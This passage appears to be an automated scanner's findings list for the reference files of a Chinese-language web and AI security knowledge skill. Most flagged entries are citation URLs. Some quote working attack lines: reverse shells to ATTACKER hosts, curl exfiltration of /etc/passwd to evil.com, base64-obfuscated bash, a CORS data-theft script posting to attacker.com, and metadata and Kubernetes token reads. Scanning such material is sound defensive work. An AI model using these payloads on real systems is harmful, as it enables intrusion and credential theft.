    http://www.bimant.com/blog/top8-ml-model-deployment-tools/
  • Network accessline 393
    https://mlflow.org/docs/latest/deployment/index.html
  • Network accessline 446
    https://www.docker.com/blog/llm-docker-for-local-and-hugging-face-hosting/
  • Network accessline 447
    https://collabnix.com/large-language-models-llms-and-docker-building-the-next-generation-web-application/
  • Network accessline 448
    https://mp.weixin.qq.com/s/vIDHBLbA5iWoPlYTKHSZfw
  • Network accessline 504
    https://cloud.baidu.com/article/621826
  • Network accessline 505
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_Sandboxing.html

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-baseline-escape.md

  • Access to secretsline 114
    [Credential-related source omitted]
  • Network accessline 130
    | 目标 | 检测命令 | 利用方式 | |------|----------|----------| | 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 |
  • Network accessline 131
    |------|----------|----------| | 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 | | K8s API | `curl -k https://kubernetes.default.svc` | 列举Pod/获取Secret |
  • Network accessline 132
    | 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 |
  • Network accessline 133
    | K8s API | `curl -k https://kubernetes.default.svc` | 列举Pod/获取Secret |
  • Network accessline 134
    | K8s ServiceAccount | `cat /var/run/secrets/kubernetes.io/serviceaccount/token` | 认证K8s API | | 内网数据库 | `echo \| nc DB_HOST 5432` | 直连数据库 | | Redis | `redis-cli -h REDIS_HOST ping` | 未授权访问 |
  • Network accessline 135
    | 内网数据库 | `echo \| nc DB_HOST 5432` | 直连数据库 |
  • Network accessline 137
    | Docker Registry | `curl http://REGISTRY:5000/v2/_catalog` | 拉取敏感镜像 |

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-baseline-train.md

  • Network accessline 59
    https://www.secrss.com/articles/64006
  • Network accessline 60
    https://huntr.com/bounties/a795bf93-c91e-4c79-aae8-f7d8bda92e2a
  • Network accessline 95
    https://doc.dataiku.com/dss/latest/concepts/homepage/index.html
  • Network accessline 96
    https://www.secrss.com/articles/62742
  • Network accessline 149
    https://llmtop10.com/llm05/
  • Network accessline 199
    - https://cloud.baidu.com/article/621826

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-data-app.md

  • Network accessline 54
    https://nordicapis.com/llm-security-hinges-on-api-security/
  • Network accessline 55
    https://superface.ai/blog/how-to-connect-openai-gpts-to-apis
  • Network accessline 113
    https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg
  • Network accessline 171
    https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg
  • Network accessline 243
    https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms
  • Network accessline 244
    https://learnprompting.org/docs/prompt_hacking/leaking
  • Network accessline 245
    https://simonwillison.net/2022/Sep/12/prompt-injection/
  • Network accessline 246
    https://matt-rickard.com/a-list-of-leaked-system-prompts
  • Network accessline 247
    https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection
  • Network accessline 293
    https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms
  • Network accessline 294
    https://learnprompting.org/docs/prompt_hacking/leaking
  • Network accessline 295
    https://simonwillison.net/2022/Sep/12/prompt-injection/
  • Network accessline 296
    https://matt-rickard.com/a-list-of-leaked-system-prompts
  • Network accessline 297
    https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection
  • Network accessline 348
    https://www.secrss.com/articles/51763
  • Network accessline 349
    https://github.com/linexjlin/GPTs
  • Network accessline 418
    https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms
  • Network accessline 419
    https://learnprompting.org/docs/prompt_hacking/leaking
  • Network accessline 420
    https://simonwillison.net/2022/Sep/12/prompt-injection/
  • Network accessline 421
    https://matt-rickard.com/a-list-of-leaked-system-prompts
  • Network accessline 422
    https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection
  • Network accessline 423
    https://twitter.com/simonw/status/1570933190289924096
  • Network accessline 474
    https://magazine.sebastianraschka.com/p/ahead-of-ai-8-the-latest-open-source
  • Network accessline 475
    https://vulcan.io/blog/owasp-top-10-llm-risks-what-we-learned/#h2_1
  • Network accessline 476
    https://www.linkedin.com/pulse/security-threats-around-llm-systems-categorization-gaurang-desai-bvale?trk=article-ssr-frontend-pulse_more-articles_related-content-card
  • Network accessline 525
    https://www.anquanke.com/post/id/247895
  • Network accessline 526
    https://www.aixinzhijie.com/article/6825834
  • Network accessline 575
    https://blog.barracuda.com/2024/04/03/generative-ai-data-poisoning-manipulation
  • Network accessline 576
    https://36kr.com/p/2723023103489920
  • Network accessline 577
    https://shardsecure.com/blog/data-manipulation-ml
  • Network accessline 625
    https://blog.csdn.net/2401_84252820/article/details/138406655?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-4-138406655-blog-124579765.235v43pc_blog_bottom_relevance_base5&spm=1001.2101.3001.424
  • Network accessline 673
    https://cloud.baidu.com/article/3248650
  • Network accessline 674
    https://forum.butian.net/share/3072
  • Network accessline 731
    https://aws.amazon.com/cn/blogs/china/privacy-and-security-of-agent-applications/
  • Network accessline 732
    https://arxiv.org/abs/2511.17671?utm_source=chatgpt.com
  • Network accessline 733
    https://arxiv.org/abs/2601.05504?utm_source=chatgpt.com
  • Network accessline 797
    https://www.lesswrong.com/posts/aPeJE8bSo6rAFoLqg/solidgoldmagikarp-plus-prompt-generation
  • Network accessline 798
    https://www.lesswrong.com/posts/Ya9LzwEbfaAMY8ABo/solidgoldmagikarp-ii-technical-details-and-more-recent
  • Network accessline 846
    https://www.nightfall.ai/ai-security-101/model-inversion
  • Network accessline 847
    https://www.michalsons.com/blog/model-inversion-attacks-a-new-ai-security-risk/64427
  • Network accessline 901
    https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-data-deploy.md

  • Network accessline 87
    https://bj.bcebos.com/ensec-web-privacy/anquan/%E5%A4%A7%E6%A8%A1%E5%9E%8B%E5%AE%89%E5%85%A8%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%E7%99%BD%E7%9A%AE%E4%B9%A6.pdf
  • Network accessline 88
    https://mp.weixin.qq.com/s/JlJwDRzYG985kF4d6g7qjw
  • Network accessline 137
    https://news.cctv.com/2022/06/21/ARTIdhgLL1sSK5Hjl0uYWybr220621.shtml
  • Network accessline 138
    https://atlas.mitre.org/techniques/AML.T0036
  • Network accessline 187
    https://www.kuaikuaicloud.com/market/3667.html
  • Network accessline 228
    http://www.nelab-bdst.org.cn/data/upload/ueditor/20230707/64a78209c719c.pdf

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-data-train.md

  • Network accessline 61
    https://mp.weixin.qq.com/s/3WAWy4ZV6Ezft_2MJHMgtg
  • Network accessline 62
    https://mp.weixin.qq.com/s/yiloJtlmv7MT3df9AnWNZQ
  • Network accessline 108
    https://mp.weixin.qq.com/s/c_cIzecyw48MatwKBZbdUg
  • Network accessline 109
    https://36kr.com/p/2541963790493187
  • Network accessline 159
    https://mp.weixin.qq.com/s/VCmhL-LbGfCViQrAEwyCAg
  • Network accessline 160
    https://mp.weixin.qq.com/s/kp1Sl5TC_uuVelhj8HPmdw
  • Network accessline 203
    https://mp.weixin.qq.com/s/VCmhL-LbGfCViQrAEwyCAg
  • Network accessline 204
    https://mp.weixin.qq.com/s/kp1Sl5TC_uuVelhj8HPmdw
  • Network accessline 205
    https://mp.weixin.qq.com/s/c_cIzecyw48MatwKBZbdUg
  • Network accessline 206
    https://36kr.com/p/2541963790493187
  • Network accessline 260
    https://platform.openai.com/docs/guides/fine-tuning/preparing-your-dataset
  • Network accessline 261
    https://arxiv.org/abs/2310.03693
  • Network accessline 262
    https://blog.csdn.net/yalecaltech/article/details/117135011
  • Network accessline 317
    https://cloud.baidu.com/article/1819998
  • Network accessline 370
    https://www.eet-china.com/mp/a213535.html
  • Network accessline 423
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Training_Data_Poisoning.html
  • Network accessline 480
    https://mp.weixin.qq.com/s/C9eIW06UXKL8g9TkZzGn_w
  • Network accessline 481
    https://www.techpolicy.press/new-study-suggests-chatgpt-vulnerability-with-potential-privacy-implications/
  • Network accessline 531
    https://ensarseker1.medium.com/data-poisoning-attacks-the-silent-threat-to-ai-integrity-d83900eea276
  • Network accessline 532
    https://www.51cto.com/article/760084.html
  • Network accessline 588
    https://home.dartmouth.edu/news/2024/01/zeroing-origins-bias-large-language-models

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-identity-app.md

  • Network accessline 61
    https://mp.weixin.qq.com/s/lgMI9tf0xAl8siZYaKcqog
  • Network accessline 62
    https://mcp.csdn.net/6800a595a5baf817cf49422d.html
  • Network accessline 121
    https://www.reddit.com/r/cybersecurity/comments/1lzrkf6/another_critical_cvss_9610_mcpbased_vulnerability/
  • Network accessline 122
    https://threatprotect.qualys.com/2025/07/03/anthropic-model-context-protocol-mcp-inspector-remote-code-execution-vulnerability-cve-2025-49596/?utm_source=chatgpt.com
  • Network accessline 180
    https://arxiv.org/pdf/2211.09527.pdf
  • Network accessline 181
    https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms
  • Network accessline 182
    https://prompt-guide.xiniushu.com/prompt_hacking/injection
  • Network accessline 241
    https://www.knightcxx.cn/?p=118
  • Network accessline 309
    https://simonwillison.net/2023/Feb/15/bing/
  • Network accessline 310
    https://www.tomshardware.com/news/chatgpt-generates-windows-11-pro-keys
  • Network accessline 311
    https://www.polygon.com/23690187/discord-ai-chatbot-clyde-grandma-exploit-chatgpt?continueFlag=9d7655502c6eb54decc775fab724139d
  • Network accessline 361
    https://sysdig.com/blog/lateral-movement-cloud-containers/
  • Network accessline 403
    https://dtzed.com/studies/2023/10/8093/
  • Network accessline 404
    https://www.cobalt.io/blog/llm-insecure-output-handling
  • Network accessline 460
    https://allabouttesting.org/owasp-agentic-ai-threat-t9-identity-spoofing-impersonation-in-ai-systems/
  • Network accessline 461
    https://moanju.org/posts/ai-agent-attack-examples-owasp-2026/
  • Network accessline 509
    https://openai.com/blog/march-20-chatgpt-outage
  • Network accessline 510
    https://securityaffairs.com/144057/data-breach/openai-chatgpt-redis-bug-data-leak.html
  • Network accessline 567
    https://kenhuangus.medium.com/llm-powered-applications-architecture-patterns-and-security-controls-7a153c3ec9f4
  • Network accessline 568
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Insufficient_Access_Control.html
  • Network accessline 622
    https://mp.weixin.qq.com/s/DMx-By1qxB5cQglkaq9ppQ
  • Network accessline 623
    https://priyalwalpita.medium.com/securing-the-future-of-ai-a-deep-dive-into-owasps-top-10-security-risks-for-large-language-models-72c5ff540cd3
  • Network accessline 676
    http://www.nelab-bdst.org.cn/data/upload/ueditor/20230707/64a78209c719c.pdf
  • Network accessline 677
    https://blog.csdn.net/douyu0814/article/details/133703803
  • Network accessline 725
    https://www.knightcxx.cn/?p=118
  • Network accessline 788
    https://thehackernews.com/2023/06/over-100000-stolen-chatgpt-account.html
  • Network accessline 789
    https://www.makeuseof.com/why-hackers-target-chatgpt-accounts/
  • Network accessline 847
    https://mp.weixin.qq.com/s/DMx-By1qxB5cQglkaq9ppQ
  • Network accessline 903
    https://www.signalfire.com/blog/prompt-injection-security
  • Network accessline 904
    https://developer.nvidia.com/blog/mitigating-stored-prompt-injection-attacks-against-llm-applications/

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-identity-deploy.md

  • Network accessline 55
    - https://www.securityweek.com/major-organizations-using-hugging-face-ai-tools-put-at-risk-by-leaked-api-tokens/
  • Network accessline 56
    - https://aws.amazon.com/cn/what-is/api-key/
  • Network accessline 118
    https://medium.com/@nitishjoshi060291/llm-hallucinations-fix-it-with-vector-database-de04eee531da
  • Network accessline 119
    https://cloudsecurityalliance.org/blog/2023/11/22/mitigating-security-risks-in-retrieval-augmented-generation-rag-llm-applications
  • Network accessline 120
    https://www.cnblogs.com/LittleHann/p/17440063.html#_label3
  • Network accessline 121
    https://dongnian.icu/llms/llms_article/9.%E6%A3%80%E7%B4%A2%E5%A2%9E%E5%BC%BALLM/index.html
  • Network accessline 122
    https://cloudsecurityalliance.org/blog/2023/11/22/mitigating-security-risks-in-retrieval-augmented-generation-rag-llm-applications
  • Network accessline 174
    https://www.leewayhertz.com/security-in-ai-development/
  • Network accessline 223
    https://atmosphericthinking.medium.com/massive-leak-of-chatgpt-credentials-over-100-000-affected-db6cef3a18c5
  • Network accessline 224
    https://blog.csdn.net/FreeBuf_/article/details/140870185?utm_relevant_index=7

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-identity-train.md

  • Network accessline 50
    https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf
  • Network accessline 51
    https://developer.nvidia.com/zh-cn/blog/securing-llm-systems-against-prompt-injection/
  • Network accessline 97
    https://blog.csdn.net/qq_43543209/article/details/135683986
  • Network accessline 146
    https://www.pulumi.com/ai/answers/mptvxaHguJ6A4yXSHi92zZ/implementing-role-based-access-to-ai-training-data-in-snowflake

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-content.md

  • Network accessline 103
    https://mp.weixin.qq.com/s/yozvoCG92TDIF86EEz9g8Q
  • Network accessline 104
    https://mp.weixin.qq.com/s/RdIQBaBR0RQJUFp0Pf7ovA
  • Network accessline 105
    https://mp.weixin.qq.com/s/sxjU930eO4K_HKPPWXPlWg
  • Network accessline 106
    https://mp.weixin.qq.com/s/PGMVqjeI18x7GZyksvtGzQ
  • Network accessline 177
    https://mp.weixin.qq.com/s/4UzoMtIL2oSkxzzuceuxhg
  • Network accessline 178
    https://zh-cn.eureporter.co/internet-2/artificial-intelligence/2024/02/03/laws-to-prevent-ai-terrorism-are-urgently-needed/
  • Network accessline 244
    https://mp.weixin.qq.com/s/5cEkxtEbH7GUKiQ5aRsnrg
  • Network accessline 313
    https://mp.weixin.qq.com/s/nOn1aQDEQys5D7sNK1_oPg
  • Network accessline 314
    https://mp.weixin.qq.com/s/ZpM09SUHSTvM9SrvrlBEmA
  • Network accessline 389
    https://mp.weixin.qq.com/s/krG4NGBCjK5kUL2x_RGRSg
  • Network accessline 390
    https://world.huanqiu.com/article/4FIHGhZ96FB
  • Network accessline 391
    https://insight.kellogg.northwestern.edu/zh/article/how-to-prepare-for-ai-generated-misinformation
  • Network accessline 466
    https://mp.weixin.qq.com/s/KGqu6i2_xX9d7-x8P189Lw
  • Network accessline 548
    https://mp.weixin.qq.com/s/2bm7nuXkORLZ20mfpOmwrA

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-copyright.md

  • Network accessline 63
    https://mp.weixin.qq.com/s/EhEqNlIcpu9RZ36XFL3vWQ
  • Network accessline 151
    https://mp.weixin.qq.com/s/EhEqNlIcpu9RZ36XFL3vWQ
  • Network accessline 152
    http://www.cbdio.com/BigData/2024-01/11/content_6176237.htm

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-deploy.md

  • Network accessline 54
    https://36kr.com/p/2653630408081670
  • Network accessline 55
    https://www.sciencedirect.com/science/article/abs/pii/S0167865522003063
  • Network accessline 131
    https://rodtrent.substack.com/p/must-learn-ai-security-part-8-model
  • Network accessline 132
    https://arxiv.org/pdf/2403.06634.pdf
  • Network accessline 133
    https://cloud.tencent.com/developer/article/2378846
  • Network accessline 134
    https://www.53ai.com/news/LargeLanguageModel/2024071740891.html

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-extraction.md

  • Network accessline 68
    https://atlas.mitre.org/techniques/AML.T0005
  • Network accessline 164
    https://zhuanlan.zhihu.com/p/620575831
  • Network accessline 165
    https://atlas.mitre.org/techniques/AML.T0015
  • Network accessline 267
    https://atlas.mitre.org/tactics/AML.TA0001
  • Network accessline 268
    https://www.sohu.com/a/584853485_121124363
  • Network accessline 317
    https://atlas.mitre.org/techniques/AML.T0014
  • Network accessline 361
    https://atlas.mitre.org/techniques/AML.T0013

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-hallucination.md

  • Network accessline 57
    https://www.lakera.ai/blog/guide-to-hallucinations-in-large-language-models
  • Network accessline 58
    https://arxiv.org/pdf/2305.13534.pdf
  • Network accessline 122
    https://arxiv.org/pdf/2311.05232.pdf
  • Network accessline 123
    https://mp.weixin.qq.com/s/qFAQQJ_FuhY2iaLzkoWynA
  • Network accessline 124
    https://www.lakera.ai/blog/guide-to-hallucinations-in-large-language-models
  • Network accessline 125
    https://www.appendata.com/blogs/ai-hallucinations
  • Network accessline 188
    https://github.com/PKU-YuanGroup/Hallucination-Attack
  • Network accessline 189
    https://zhuanlan.zhihu.com/p/661444210
  • Network accessline 190
    https://arxiv.org/pdf/2310.01469.pdf

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-jailbreak.md

  • Network accessline 55
    https://github.com/0xk1h0/ChatGPT_DAN
  • Network accessline 56
    https://www.digitaltrends.com/computing/what-is-dan-prompt-chatgpt/
  • Network accessline 57
    https://arxiv.org/abs/2308.03825
  • Network accessline 103
    https://www.anthropic.com/research/many-shot-jailbreaking
  • Network accessline 176
    https://mp.weixin.qq.com/s/LSTZUKOlXP9VZTxa-nKkhA
  • Network accessline 177
    https://blog.uptrain.ai/llm-jailbreak/
  • Network accessline 178
    https://www.fuzzylabs.ai/blog-post/jailbreak-attacks-on-large-language-models
  • Network accessline 250
    https://www.lakera.ai/blog/jailbreaking-large-language-models-guide
  • Network accessline 299
    https://arxiv.org/abs/2307.15043
  • Network accessline 300
    https://twitter.com/andyzou_jiaming/status/1684766170766004224
  • Network accessline 301
    https://zhuanlan.zhihu.com/p/662098517
  • Network accessline 353
    https://arxiv.org/abs/2404.12038

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-misuse.md

  • Network accessline 63
    https://stcn.com/article/detail/1250289.html
  • Network accessline 64
    https://www.51cto.com/aigc/912.html
  • Network accessline 184
    https://infosecwriteups.com/jail-breaking-chatgpt-to-write-malware-9b3ae111f30c
  • Network accessline 185
    https://www.theregister.com/2024/04/17/gpt4_can_exploit_real_vulnerabilities/
  • Network accessline 186
    https://arxiv.org/abs/2404.08144
  • Network accessline 187
    https://blog.csdn.net/pengpengjy/article/details/132478358
  • Network accessline 244
    https://www.freebuf.com/articles/ai-security/454527.html
  • Network accessline 245
    https://zhuanlan.zhihu.com/p/1928583554805260699
  • Network accessline 312
    https://www.ibm.com/topics/model-drift
  • Network accessline 313
    https://www.datacamp.com/tutorial/understanding-data-drift-model-drift
  • Network accessline 314
    https://mp.weixin.qq.com/s/QbADBoHEqpDBKNkr-so3Ig
  • Network accessline 315
    https://arxiv.org/pdf/2307.09009.pdf
  • Network accessline 423
    https://stcn.com/article/detail/1250289.html
  • Network accessline 424
    https://www.51cto.com/aigc/912.html
  • Network accessline 479
    https://mp.weixin.qq.com/s/8Ca4HmkafP9SxjHayC9zdQ
  • Network accessline 480
    https://mp.weixin.qq.com/s/-0i0SlGat-Y5hXcM3EIGiw
  • Network accessline 481
    https://mp.weixin.qq.com/s/2Ai4nKOzEnkhqJD903O8mA
  • Network accessline 539
    https://stcn.com/article/detail/1250289.html
  • Network accessline 540
    https://www.51cto.com/aigc/912.html
  • Network accessline 541
    https://36kr.com/p/2190993024614530

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-train.md

  • Network accessline 72
    https://atlas.mitre.org/techniques/AML.T0018
  • Network accessline 73
    https://defence.ai/ai-security/backdoor-attacks-ml/
  • Network accessline 74
    https://arxiv.org/abs/2308.14367
  • Network accessline 127
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_AI_Alignment.html
  • Network accessline 189
    https://wiki.offsecml.com/Supply+Chain+Attacks/Models/Using+Keras+Lambda+Layers
  • Network accessline 192
    https://5stars217.github.io/2023-08-08-red-teaming-with-ml-models/
  • Network accessline 195
    https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model
  • Network accessline 240
    https://thenewstack.io/how-to-reduce-the-hallucinations-from-large-language-models/
  • Network accessline 290
    https://aclanthology.org/2020.acl-main.249/

deepsec/spear/skills/specialized/secknowledge-skill/references/testing-methodology.md

  • Access to secretsline 119
    [Credential-related source omitted]
  • Access to secretsline 352
    [Credential-related source omitted]
  • Network accessline 533
    > 官方地址: https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/
  • Network accessline 550
    > 官方地址: https://genai.owasp.org/resource/agentic-ai/
  • Network accessline 567
    > 官方地址: https://owasp.org/www-project-web-security-testing-guide/

deepsec/spear/skills/specialized/secknowledge-skill/references/vulnclaw-ctf-src-routing.md

  • Network accessline 62
    Integrated from `Pa55w0rd/secknowledge-skill`: https://github.com/Pa55w0rd/secknowledge-skill

deepsec/spear/skills/specialized/secknowledge-skill/references/web-deployment-security.md

  • Network accessline 199
    # 在线检查 # https://www.ssllabs.com/ssltest/
  • Network accessline 200
    # https://www.ssllabs.com/ssltest/
  • Network accessline 246
    | 安全组全开 | 检查`0.0.0.0/0`入站规则 | 暴露内部服务 | | 密钥硬编码 | `trufflehog`/`gitleaks` 扫描代码仓库 | 账户接管 | | 元数据服务 | `curl http://169.254.169.254/` (SSRF利用) | 凭据窃取 |
  • Network accessline 247
    | 密钥硬编码 | `trufflehog`/`gitleaks` 扫描代码仓库 | 账户接管 | | 元数据服务 | `curl http://169.254.169.254/` (SSRF利用) | 凭据窃取 | | 日志未开启 | CloudTrail/ActionTrail审计 | 无法溯源 |
  • Network accessline 248
    | 元数据服务 | `curl http://169.254.169.254/` (SSRF利用) | 凭据窃取 |
  • Network accessline 264
    # 代码仓库扫描 gitleaks detect --source=. --verbose trufflehog git https://github.com/org/repo
  • Network accessline 266
    trufflehog git https://github.com/org/repo
  • Access to secretsline 269
    [Credential-related source omitted]

deepsec/spear/skills/specialized/secknowledge-skill/references/web-deser.md

  • Network accessline 53
    # marshalsec启动恶意LDAP/RMI java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker/#Exploit"
  • Network accessline 54
    java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker/#Exploit"
  • Dangerous shell operationline 80
    3. 终点: 到达system()/eval()/file_put_contents()等危险函数

deepsec/spear/skills/specialized/secknowledge-skill/references/web-leak.md

  • Access to secretsline 52
    [Credential-related source omitted]

deepsec/spear/skills/specialized/secknowledge-skill/references/web-logic-auth.md

  • Network accessline 43
    def idor_test(base_url, param_name, id_range, session_cookie):     for id in range(id_range[0], id_range[1]):         resp = requests.get(
  • Network accessline 44
    for id in range(id_range[0], id_range[1]):         resp = requests.get(             f"{base_url}?{param_name}={id}",
  • Network accessline 45
    resp = requests.get(
  • Network accessline 167
    import threading def create_order():     requests.post("/order/create", json={"price":0.01,"productId":"premium"})
  • Network accessline 168
    def create_order():     requests.post("/order/create", json={"price":0.01,"productId":"premium"}) threads = [threading.Thread(target=create_order) for _ in range(50)]
  • Network accessline 169
    requests.post("/order/create", json={"price":0.01,"productId":"premium"})
  • Network accessline 309
    import threading, requests def redeem():     requests.post("/redeem", data={"points":1000, "item":"iPhone"})
  • Network accessline 311
    requests.post("/redeem", data={"points":1000, "item":"iPhone"})
  • Network accessline 453
    | Redis | 6379 | redis-cli -h IP info | 写SSH公钥/Webshell/计划任务 | | MongoDB | 27017 | mongo IP:27017 | 无认证直连,导出全部数据 | | Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 |
  • Network accessline 454
    | MongoDB | 27017 | mongo IP:27017 | 无认证直连,导出全部数据 | | Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 | | Memcached | 11211 | echo stats, nc IP 11211 | 数据泄露 |
  • Network accessline 455
    | Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 |
  • Network accessline 456
    | Memcached | 11211 | echo stats, nc IP 11211 | 数据泄露 |
  • Network accessline 457
    | Docker API | 2375 | curl IP:2375/info | 容器逃逸/RCE |

deepsec/spear/skills/specialized/secknowledge-skill/references/web-modern-protocols.md

  • Network accessline 21
    # 基础检测: 发送自定义Origin观察响应 curl -H "Origin: https://evil.com" -I https://target.com/api/userinfo
  • Network accessline 22
    curl -H "Origin: https://evil.com" -I https://target.com/api/userinfo
  • Network accessline 23
    # 检查响应头: # Access-Control-Allow-Origin: https://evil.com  → 危险! # Access-Control-Allow-Credentials: true          → 可携带Cookie跨域请求
  • Network accessline 24
    # Access-Control-Allow-Origin: https://evil.com  → 危险!
  • Network accessline 41
    <!-- 恶意页面: 跨域窃取用户数据 --> <script> fetch('https://target.com/api/userinfo', {credentials: 'include'})
  • Network accessline 42
    <script> fetch('https://target.com/api/userinfo', {credentials: 'include'})   .then(r => r.json())
  • Network accessline 43
    fetch('https://target.com/api/userinfo', {credentials: 'include'})
  • Network accessline 44
    .then(r => r.json())   .then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d))); </script>
  • Network accessline 45
    .then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d)));
  • Network accessline 49
    <iframe sandbox="allow-scripts allow-top-navigation" src="data:text/html, <script> fetch('https://target.com/api/userinfo',{credentials:'include'})
  • Network accessline 50
    <script> fetch('https://target.com/api/userinfo',{credentials:'include'}) .then(r=>r.text()).then(d=>parent.postMessage(d,'*'))
  • Network accessline 51
    fetch('https://target.com/api/userinfo',{credentials:'include'})
  • Network accessline 237
    ws.onmessage = function(e) {     // 窃取响应数据     fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data));
  • Network accessline 238
    // 窃取响应数据     fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data)); };
  • Network accessline 239
    fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data));
  • Network accessline 287
    # 正常流程 https://auth.target.com/authorize?response_type=code&client_id=app&redirect_uri=https://app.com/callback
  • Network accessline 288
    https://auth.target.com/authorize?response_type=code&client_id=app&redirect_uri=https://app.com/callback
  • Network accessline 290
    # 攻击: 篡改redirect_uri窃取授权码 redirect_uri=https://attacker.com/steal           # 完全替换
  • Network accessline 291
    redirect_uri=https://attacker.com/steal           # 完全替换
  • Network accessline 292
    redirect_uri=https://app.com.attacker.com/callback # 子域混淆
  • Network accessline 293
    redirect_uri=https://app.com/callback/../../../attacker # 路径遍历
  • Network accessline 294
    redirect_uri=https://app.com/callback?next=https://attacker.com # 开放重定向链
  • Network accessline 311
    # 攻击流程 (state缺失时) 1. 攻击者发起OAuth授权,获取自己账号的授权码 2. 构造链接: https://app.com/callback?code=ATTACKER_CODE
  • Network accessline 312
    1. 攻击者发起OAuth授权,获取自己账号的授权码 2. 构造链接: https://app.com/callback?code=ATTACKER_CODE 3. 诱骗受害者点击 → 受害者账号绑定攻击者的第三方账号
  • Network accessline 313
    2. 构造链接: https://app.com/callback?code=ATTACKER_CODE
  • Network accessline 325
    [Credential-related source omitted]
  • Network accessline 326
    [Credential-related source omitted]
  • Access to secretsline 326
    [Credential-related source omitted]

deepsec/spear/skills/specialized/secknowledge-skill/references/web-rce.md

  • Network accessline 43
    # DNSLog外带 ping `whoami`.xxxxx.ceye.io curl http://`whoami`.xxxxx.ceye.io
  • Network accessline 45
    curl http://`whoami`.xxxxx.ceye.io
  • Network accessline 47
    # HTTP外带 curl https://evil.com/?d=`cat /etc/passwd | base64 | tr '\n' '-'`
  • Network accessline 48
    curl https://evil.com/?d=`cat /etc/passwd | base64 | tr '\n' '-'`
  • Network accessline 49
    curl -X POST -d "data=$(cat /etc/passwd)" https://evil.com/c
  • Dangerous shell operationline 98
    echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
  • Possible obfuscationline 102
    echo -e "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | bash
  • Possible obfuscationline 103
    $(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")
  • Network accessline 113
    push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")'
  • Network accessline 114
    viewbox 0 0 640 480 fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")' pop graphic-context
  • Dangerous shell operationline 115
    fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")'
  • Network accessline 115
    fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")'
  • Network accessline 143
    # 或写crontab config set dir /var/spool/cron && config set dbfilename root set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save
  • Dangerous shell operationline 145
    set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save
  • Network accessline 145
    set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save
  • Network accessline 151
    # Bash bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
  • Dangerous shell operationline 152
    bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
  • Network accessline 152
    bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
  • Network accessline 154
    # Python python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'
  • Network accessline 155
    python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'
